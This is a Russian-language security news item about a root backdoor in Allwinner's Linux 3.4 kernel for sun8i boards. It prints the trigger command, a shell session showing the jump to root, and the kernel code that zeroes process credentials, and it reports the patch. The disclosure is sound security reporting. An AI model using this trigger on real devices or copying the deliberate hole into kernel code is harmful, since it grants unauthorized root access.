Бэкдор в отладочном коде модифицированного ядра Linux для систем Allwinner

Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки «rootmydevice» в файл «/proc/sunxi_debug/sunxi_debug».

   $ id
   uid=1000(user) gid=1000(user) 

   $ echo "rootmydevice"  /proc/sunxi_debug/sunxi_debug 

   $ id
   uid=0(root) gid=0(root) 

Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno.

Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:

        if(!strncmp("rootmydevice",(char*)buf,12)){
		cred = (struct cred *)__task_cred(current);
		cred-uid = 0;
		cred-gid = 0;
		cred-suid = 0;
		cred-euid = 0;
		cred-euid = 0;
		cred-egid = 0;
		cred-fsuid = 0;
		cred-fsgid = 0;
		printk("now you are rootn");
	}

Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.